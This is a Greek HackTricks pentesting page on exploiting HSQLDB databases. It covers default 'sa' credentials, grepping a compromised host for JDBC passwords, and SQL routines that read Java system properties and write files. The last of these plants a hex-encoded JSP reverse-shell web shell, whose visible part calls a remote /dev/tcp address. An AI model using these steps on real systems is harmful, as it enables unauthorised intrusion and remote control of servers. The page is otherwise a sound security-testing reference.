tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

HSQLDB (HyperSQL DataBase) είναι το κορυφαίο σύστημα σχεσιακής βάσης δεδομένων SQL που έχει γραφτεί σε Java. Προσφέρει μια μικρή, γρήγορη, πολυνηματική και συναλλαγματική μηχανή βάσης δεδομένων με πίνακες μνήμης και δίσκου και υποστηρίζει ενσωματωμένες και διακομιστικές λειτουργίες.

Προεπιλεγμένη θύρα: 9001

text
9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Πληροφορίες

Προεπιλεγμένες Ρυθμίσεις

Σημειώστε ότι από προεπιλογή αυτή η υπηρεσία πιθανώς εκτελείται στη μνήμη ή είναι συνδεδεμένη στο localhost. Αν το βρήκατε, πιθανώς εκμεταλλευτήκατε μια άλλη υπηρεσία και ψάχνετε να αναβαθμίσετε τα δικαιώματα.

Οι προεπιλεγμένες διαπιστεύσεις είναι συνήθως sa με κενό κωδικό πρόσβασης.

Αν έχετε εκμεταλλευτεί μια άλλη υπηρεσία, αναζητήστε πιθανές διαπιστεύσεις χρησιμοποιώντας

text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Σημειώστε προσεκτικά το όνομα της βάσης δεδομένων - θα το χρειαστείτε για να συνδεθείτε.

Συλλογή Πληροφοριών

Συνδεθείτε στην DB instance κατεβάζοντας HSQLDB και εξάγοντας το hsqldb/lib/hsqldb.jar. Εκτελέστε την εφαρμογή GUI (eww) χρησιμοποιώντας java -jar hsqldb.jar και συνδεθείτε στην instance χρησιμοποιώντας τα ανακαλυφθέντα/αδύναμα διαπιστευτήρια.

Σημειώστε ότι το URL σύνδεσης θα μοιάζει κάπως έτσι για ένα απομακρυσμένο σύστημα: jdbc:hsqldb:hsql://ip/DBNAME.

Τεχνάσματα

Ρουτίνες Γλώσσας Java

Μπορούμε να καλέσουμε στατικές μεθόδους μιας κλάσης Java από το HSQLDB χρησιμοποιώντας Ρουτίνες Γλώσσας Java. Σημειώστε ότι η καλούμενη κλάση πρέπει να είναι στο classpath της εφαρμογής.

Οι JRTs μπορούν να είναι functions ή procedures. Οι συναρτήσεις μπορούν να καλούνται μέσω SQL δηλώσεων αν η μέθοδος Java επιστρέφει μία ή περισσότερες SQL-συμβατές πρωτότυπες μεταβλητές. Καλούνται χρησιμοποιώντας τη δήλωση VALUES.

Αν η μέθοδος Java που θέλουμε να καλέσουμε επιστρέφει void, πρέπει να χρησιμοποιήσουμε μια διαδικασία που καλείται με τη δήλωση CALL.

Ανάγνωση Ιδιοτήτων Συστήματος Java

Δημιουργήστε συνάρτηση:

text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

Εκτέλεση συνάρτησης:

text
VALUES(getsystemproperty('user.name'))

Μπορείτε να βρείτε μια λίστα με τις ιδιότητες του συστήματος εδώ.

Γράψτε Περιεχόμενο σε Αρχείο

Μπορείτε να χρησιμοποιήσετε το com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename Java gadget που βρίσκεται στο JDK (αυτόματα φορτωμένο στο class path της εφαρμογής) για να γράψετε hex-encoded αντικείμενα στον δίσκο μέσω μιας προσαρμοσμένης διαδικασίας. Σημειώστε το μέγιστο μέγεθος των 1024 bytes.

Δημιουργήστε διαδικασία:

text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

Εκτέλεση διαδικασίας:

text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks